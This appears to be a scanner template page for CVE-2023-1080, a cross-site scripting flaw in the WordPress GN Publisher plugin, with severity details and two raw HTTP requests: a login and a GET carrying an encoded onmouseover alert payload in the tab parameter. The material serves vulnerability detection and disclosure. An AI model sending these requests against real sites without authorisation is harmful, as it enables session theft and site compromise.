| Title | WordPress GN Publisher <1.5.6 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions. |
| Remediation | Fixed in version 1.5.6. |
| CVSS Score | 6.1 |
| EPSS Score | 0.26356 |
| CVE ID | CVE-2023-1080 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve wp-plugin wordpress gn-publisher authenticated wp xss wpscan gnpublisher vuln |
WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=McyH9X&pwd=kgp0rK&wp-submit=Log+In
GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Accept-Encoding: gzip
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